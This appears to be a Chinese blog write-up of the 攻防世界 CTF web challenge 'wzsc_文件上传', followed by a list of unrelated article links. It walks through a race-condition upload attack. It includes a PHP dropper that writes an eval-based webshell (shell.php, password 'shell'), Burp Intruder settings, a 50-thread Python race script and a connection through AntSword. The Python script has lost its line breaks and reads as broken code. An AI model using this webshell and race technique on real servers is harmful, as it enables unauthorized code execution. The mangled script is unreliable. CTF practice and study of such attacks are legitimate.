当前位置: 首页 > news >正文

114,【6】攻防世界 web wzsc_文件上传

进入靶场

传个桌面有的

直接空白了

我们

访问一下上传的东西

/index

没显示用于解析的.htaccess和.user.ini 文件,还两个都不显示

.htaccess 和 .user.ini 文件分别用于 Apache 服务器和 PHP-FPM 环境的目录级配置

但上传的时候bp查看状态码是200,意味着上传成功了

别的博主说这是服务器在短时间内就立刻将其删掉了,需要采取条件竞争,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。大量的线程用于访问缓存数据,能够快速地从缓存中获取数据

这需要bp来实现(我勒个豆,bp这么高级)

文件名

1.php

文件内容

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

  • 此 PHP 代码的作用是创建一个名为 shell.php 的文件。
  • 并将 <?php @eval($_POST["shell"]); ?> 写入该文件。@eval($_POST["shell"]); 这部分代码会执行通过 POST 请求传递给 shell.php 的任意 PHP 代码

 上传时抓包发到intruder 

点击右边的资源池

右键名称处会自动填写,再设置最大请求数

还需要将攻击荷载设置为空

但是我这块设置不了,为空的时候,右边的payload那块就是空的,类型和无限重复就设置不了 

所以勾选了一个影响不大的东西,这里勾选的东西需要确保置换为空时不产生影响的

上一步实现后,运用大佬的脚本创造shell.php

import requests
import threading
import os# 定义一个继承自 threading.Thread 的类 RaceCondition,用于模拟竞争条件下的文件上传和访问操作
class RaceCondition(threading.Thread):def __init__(self):# 调用父类 threading.Thread 的构造函数进行初始化threading.Thread.__init__(self)# 定义要访问的 URL,这里省略了具体的 URL,实际使用时需要补充完整self.url = '。。。。。。。。。。。。。。'# 定义上传文件的 URL,这里是上传到 shell.php 的地址self.uploadUrl = '。。。。。。。。。。upload/shell.php'# 定义一个私有方法 _get,用于尝试访问已上传的文件def _get(self):# 打印提示信息,表示正在尝试调用已上传的文件print('try to call uploaded file...')# 使用 requests 库发送 GET 请求到指定的 URLr = requests.get(self.url)# 检查响应的状态码是否为 200(表示请求成功)if r.status_code == 200:# 如果请求成功,打印成功信息print('[*] create file shell.php success.')# 退出整个 Python 程序os._exit(0)# 定义一个私有方法 _upload,用于上传文件def _upload(self):# 打印提示信息,表示正在上传文件print('upload file...')# 使用 requests 库发送 GET 请求到上传文件的 URLrs = requests.get(self.uploadUrl)# 检查响应的状态码是否为 200(表示请求成功)if rs.status_code == 200:# 如果请求成功,打印成功信息print('[*] create file shell.php success.')# 退出整个 Python 程序os._exit(0)# 定义线程的运行方法,当线程启动时会自动调用该方法def run(self):while True:# 循环 5 次,调用 _get 方法尝试访问已上传的文件for i in range(5):self._get()# 循环 10 次,每次先调用 _upload 方法上传文件,然后再调用 _get 方法尝试访问已上传的文件for i in range(10):self._upload()self._get()if __name__ == '__main__':# 定义要创建的线程数量为 50threads = 50# 循环创建指定数量的线程实例,并启动这些线程for i in range(threads):# 创建一个 RaceCondition 类的实例t = RaceCondition()# 启动线程t.start()# 循环等待所有线程执行完毕for i in range(threads):# 调用线程的 join 方法,等待线程执行结束t.join()

 最后访问upload发现上传成功时,用蚂剑连接即可,密码就是shell

 终于做出来了

http://www.lryc.cn/news/534159.html

相关文章:

  • 【Kubernetes的SpringCloud最佳实践】有Service是否还需要Eureka?
  • SQL最佳实践(笔记)
  • vue3学习四
  • C# LiteDB 使用教程
  • Python Pandas(3):DataFrame
  • 使用通义灵码 ai编程 来提高开发效率
  • 【OpenCV】入门教学
  • 大数据项目4:基于spark的智慧交通项目设计与实现
  • netcore openTelemetry+prometheus+grafana
  • Spring Boot接入Deep Seek的API
  • Git、Github和Gitee完整讲解:丛基础到进阶功能
  • MyBatis的工作流程是怎样的?
  • Maven 安装配置(完整教程)
  • 分享如何通过Mq、Redis、XxlJob实现算法任务的异步解耦调度
  • 发布:大彩科技DN系列2.8寸高性价比串口屏发布!
  • 集合类不安全问题
  • 【基于SprintBoot+Mybatis+Mysql】电脑商城项目之上传头像和新增收货地址
  • AI知识库和全文检索的区别
  • 20240817 联想 笔试
  • IntelliJ IDEA 安装与使用完全教程:从入门到精通
  • 【JVM详解一】类加载过程与内存区域划分
  • 250207-MacOS修改Ollama模型下载及运行的路径
  • Win10 部署llama Factory 推荐教程和遇到的问题
  • 如何在Android Studio中开发一个简单的Android应用?
  • ubuntu下迁移docker文件夹
  • 嵌入式面试题 C/C++常见面试题整理_7
  • 使用OBS推流,大华摄像头 srs服务器播放
  • CSS 组合选择符详解与实战示例
  • Window系统通过Docker本地安装ollama和deepseek
  • 镜头放大倍率和像素之间的关系